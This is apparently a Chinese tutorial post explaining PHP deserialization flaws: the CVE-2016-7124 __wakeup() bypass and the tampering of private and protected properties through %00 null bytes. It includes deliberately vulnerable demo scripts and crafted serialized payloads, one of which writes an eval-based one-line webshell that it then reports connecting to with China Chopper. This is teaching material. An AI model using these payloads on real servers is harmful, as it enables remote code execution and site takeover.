PHP反序列化漏洞原理概述-SECOND

PHP反序列化漏洞

PHP反序列化漏洞原理概述-FIRST

1.繞過魔法函數

wakeup()魔法函數

  • unserialize()反序列化函數執行時會檢測是否存在wakeup()方法,如果存在會先調用wakeup()方法作爲預先準備對象需要的資源,經常用於執行一些初始化操作,或者重現建立數據庫連接等場景

PHP反序列化漏洞CVE-2016-7124

  • 當反序列化字符串中,表示屬性個數的值大於真實屬性個數時,會繞過 __wakeup 函數的執行

影響範圍

  • PHP5<5.6.25
  • PHP7<7.0.10
  • 我們當前的PHP環境版本爲5.4.45<5.6.25,存在該反序列化漏洞

1.wakeup()繞過原理demo

//7.php
<?php
	class wakeup_bug
	{
		public $a='wakeup';
		function __destruct()
		{
			echo 'I an not '.$this->a;
		}
		function __wakeup()
		{
			echo 'I am '.$this->a.'</br>';
		}
	}
	unserialize($_GET['id']);
?>

構造payload:
我們自己按照這個類的格式,構造出一個序列化後的對象,如下

O:10:"wakeup_bug":1:{s:1:"a";s:6:"wakeup";}

同時我們可以發現 __wakeup()在__destruct()函數之前執行,說明,只要存在了反序列化操作,__wakeup()函數的優先級高。
在這裏插入圖片描述
當屬性個數值大於真實屬性個數值時,可繞過wakeup()函數,我們將自定義的序列化值修改一下,如下

將屬性個數改爲2>真實屬性個數1

O:10:"wakeup_bug":2:{s:1:"a";s:6:"wakeup";}

繞過wakeup()函數成功,只執行了destruct()函數。
在這裏插入圖片描述
2.wakeup()繞過原理demo1

  • 在該demo中,__destruct() 中定義了文件操作,打開一個shell.php文件,寫入變量$a的值,然後保存關閉該文件。
  • __wakeup() 函數中定義了
    foreach()函數:遍歷數組函數
    get_object_vars():返回由對象屬性組成的關聯數組
    在此處將$this指向的對象的值清空
  • 該demo1中有寫入文件操作,這是一個危險操作,當我們能繞過__wakeup()函數,就可以寫入一句話木馬,獲取webshell
//8.php
<?php
	class a
	{
		var $a="test";
		function __destruct()
		{
			$fp=fopen("shell.php","w+")
			fputs($fp,$this->a);
			fclose($fp);
		}
		function __wakeup() //清空$a的值
		{
			foreach(get_object_vars($this) as $b => $c)
			{$this->$b=null;}
		}
	}
?>

由於__wakeup()函數執行先於__destruct()函數,也就是說,在 __destruct()函數執行文件操作 時,而__wakeup()函數已經清空了$a的值,__destruct()函數寫入shell.php文件的爲空值

此時就需要繞過__wakeup()函數
構造payload

我們自己按照這個類的格式,構造出一個序列化後的對象,對象的屬性值賦予一句話木馬,寫入文件,如下

O:1:"a":1:{s:1:"a";s:27:"<?php @eval($_POST[123]);?>"}

在這裏插入圖片描述

  • 木馬植入成功,中國菜刀連接成功

在這裏插入圖片描述

2.private(私有)、protected(保護)屬性外部修改

public屬性可以被外部修改privateproctected屬性無法被對象外部修改

原理dome

__toString()函數: 把類當做字符串使用時觸發,也就是使用echo打印對象時觸發該函數。

//9.php
<?php
	class stundet
	{
		public $name='BYF';
		private $age='20';
		protected $sex='boy';
		function __toString()
		{
			return 'name: '.$this->name.'</br>age: '.$this->age.'</br>sex: '.$this->sex;
		}
	}
	$s1=new stundet();
	echo $s1.'</br>';
	echo serialize($s1);
?>

下圖爲demo執行結果
在這裏插入圖片描述
我們發現,序列化後,private變量,和protected變量的結果與public不一樣

O:7:"stundet":3:{s:4:"name";s:3:"BYF";s:12:"stundetage";s:2:"20";s:6:"*sex";s:3:"boy";}

private:在序列化後屬性名爲,類+變量名,且類使用<0x00>空字符相隔,在頁面回顯中無法看出
proctected:在序列化後屬性名爲,*+變量名,且*使用<0x00>空字符相隔,在頁面回顯中無法看出
在這裏插入圖片描述
由於序列化值中存在<0x00>空字符,佔用一個字符,在url中%00爲空字符

構造payload

從外部修改private&proctected屬性值

O:7:"stundet":3:{s:4:"name";s:3:"SHY";s:12:"%00stundet%00age";s:2:"19";s:6:"%00*%00sex";s:4:"girl";}

在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章